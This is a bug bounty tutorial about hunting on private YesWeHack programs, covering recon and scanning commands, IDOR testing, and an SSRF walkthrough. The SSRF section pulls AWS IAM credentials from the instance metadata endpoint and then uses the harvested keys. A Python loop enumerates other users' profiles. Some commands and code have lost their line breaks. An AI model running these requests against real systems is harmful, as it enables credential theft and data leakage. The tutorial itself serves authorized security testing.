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Introduction:
Bug bounty hunting on private programs offers significantly higher rewards and less competition than public programs, but gaining access requires proven skills and professional networking. YesWeHack, a leading European bug bounty platform, provides a structured environment where hunters can test private assets with clear scopes and legal protection, making it an ideal starting point for transitioning from public to private vulnerability research.
Learning Objectives:
- Understand the differences between public and private bug bounty programs and how to qualify for private invites.
- Set up a professional reconnaissance and testing environment using Linux and Windows tools tailored for private program scopes.
- Identify, exploit, and report common web vulnerabilities such as IDOR, SSRF, and XSS with actionable remediation advice.
You Should Know:
1. Reconnaissance and Asset Discovery for Private Programs
Private programs often restrict scope to specific subdomains, APIs, or mobile apps. Stealth and precision are key. Start with passive reconnaissance to avoid alerting security teams.
Step‑by‑step guide – Passive Reconnaissance:
1. Gather subdomains using Certificate Transparency logs (Linux):
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u > subdomains.txt
- Enumerate exposed Git repositories (Windows – using PowerShell):
.\gitleaks.exe detect --source C:\path\to\repo --no-git --verbose
3. Clone tools for automated passive OSINT:
git clone https://github.com/projectdiscovery/subfinder.git cd subfinder && go build && ./subfinder -d target.com -all -o targets.txt
What this does: Collects every subdomain linked to the target via SSL certificates and public DNS without sending a single packet to the target. `gitleaks` scans for secrets accidentally pushed to public repos. This passive phase respects program rules and builds a high-quality scope list.
2. Active Scanning and Service Fingerprinting
Once the scope is defined, use low‑and‑slow active probes to avoid rate limiting or WAF blocking. Private programs often allow authenticated scanning, so include session tokens.
Step‑by‑step guide – Low‑noise enumeration:
- TCP port scan with custom timing (Linux – using nmap):
nmap -sS -T2 -p- --min-rate 100 --max-retries 1 -iL targets.txt -oA private_scan
2. Web technology detection:
whatweb -i targets.txt --aggression 1 --quiet
- Directory brute‑forcing with authenticated context (Windows – dirsearch):
python.exe .\dirsearch.py -l targets.txt -e php,asp,js,json -w .\wordlists\common.txt -H "Authorization: Bearer $env:API_TOKEN"
How to use: Replace `$env:API_TOKEN` with a valid session token obtained from the private app (e.g., from browser DevTools). This mimics a real user and helps discover hidden endpoints not reachable unauthenticated.
- API Security Testing – Spotting IDOR and Broken Object Authorization
Private programs heavily rely on APIs. The most common critical finding is Insecure Direct Object References (IDOR), allowing an attacker to access or modify another user’s data by changing an ID parameter.
Step‑by‑step guide – API parameter tampering with Burp Suite:
- Configure Burp Suite as a proxy and intercept API requests from the private web/mobile app.
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Send a legitimate request to `/api/v1/user/1234/profile` – observe a JSON response with user data.
3. Test for IDOR:
- Using Burp Repeater, change the ID to
/api/v1/user/1235/profile. - If the response returns data for a different user, you have found an IDOR.
- Automate IDOR scanning (Linux – using Arjun for parameter brute‑force):
arjun -u https://target.com/api/v1/user/profile --get --headers "Cookie: session=abc123" -w /usr/share/wordlists/ids.txt
Mitigation for developers: Implement object‑level authorization checks on every API endpoint. Never trust client‑supplied IDs; always verify that the authenticated user has permission to access the requested resource.
- Exploiting Server‑Side Request Forgery (SSRF) in Private Cloud Environments
SSRF vulnerabilities allow attackers to make the server send requests to internal IP addresses or cloud metadata endpoints. In private programs, SSRF often leads to cloud takeover via the instance metadata service (IMDS).
Step‑by‑step guide – SSRF exploitation towards AWS metadata:
- Identify input points that fetch URLs – e.g., `https://target.com/fetch?url=https://example.com`.
2. Test for basic SSRF:
– Change the parameter to `https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/`
– If the response containsinstance-id,iam/security-credentials/, you have a valid SSRF. -
Extract credentials (Linux – using curl to simulate the attack):
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/s3-role"
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Use harvested AWS keys to test for privilege escalation:
aws configure set aws_access_key_id AKIA... && aws s3 ls
What this demonstrates: Private cloud assets often run on AWS, GCP, or Azure. An SSRF to the internal metadata API can expose admin credentials. Always validate URL parameters against an allowlist of trusted domains and block internal IPs.
5. Reporting and Collaboration on YesWeHack’s Platform
YesWeHack requires structured reports with proof‑of‑concept (PoC) code, risk rating, and remediation advice. A high‑quality report increases your reputation and private program invitations.
Step‑by‑step guide – Professional vulnerability report generation:
- Write a clear title – e.g., “IDOR in /api/user/{id}/profile leads to data leakage of all platform users.”
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Include a reproducible PoC – curl commands or a short Python script:
import requests headers = {"Authorization": "Bearer valid_token"} for i in range(1,1000): r = requests.get(f"https://target.com/api/v1/user/{i}/profile", headers=headers) if r.status_code == 200 and "email" in r.text: print(f"Leaked ID: {i}") -
Add screenshots from Burp Suite or browser showing the attack.
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Suggest a fix – e.g., “Implement resource‑level checks: before returning user data, verify the requesting user has admin role or the ID matches the authenticated user’s ID.”
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Use YesWeHack’s built‑in markdown editor to attach evidence and select the correct CVSS score.
Pro tip: Private programs on YesWeHack often have Slack/Discord channels. Introduce yourself politely in the private channel before submitting critical findings to avoid duplicate reports.
What Undercode Say:
- Private bug bounties reward stealth and precision – Unlike public programs, private scopes expect hunters to understand the business logic deeply. Passive recon and authenticated scanning reduce false positives and legal risk.
- APIs are the new frontier for critical vulnerabilities – Most private program payouts come from API flaws like IDOR, mass assignment, and GraphQL introspection. Mastering tools like Burp Suite, Arjun, and custom Python scripts gives you an edge over beginners.
The key takeaway from this hands‑on approach is that private bug bounty hunting is not about running automated scanners but about contextual reasoning. By setting up your environment with Linux for OSINT and Windows for GUI tools like Burp, you can seamlessly test any target. Always respect scope boundaries: one unauthorized request to an out‑of‑scope IP can get you banned. Finally, invest time in writing professional reports – they are your portfolio for landing more private invites.
Prediction:
Within 18 months, private bug bounty platforms like YesWeHack will incorporate AI‑driven triage that automatically validates PoC scripts and assigns risk levels. Hunters who learn to automate their testing with Python and integrate with CI/CD pipelines will dominate the leaderboard. Simultaneously, we expect a sharp rise in cloud‑native private programs (serverless, containers) requiring knowledge of tools like `kubectl` and cloud metadata attacks. Beginners who start today by mastering IDOR and SSRF on private programs will become the top earners of 2027.
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Reported By: Teddy Gal%C3%A9a – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
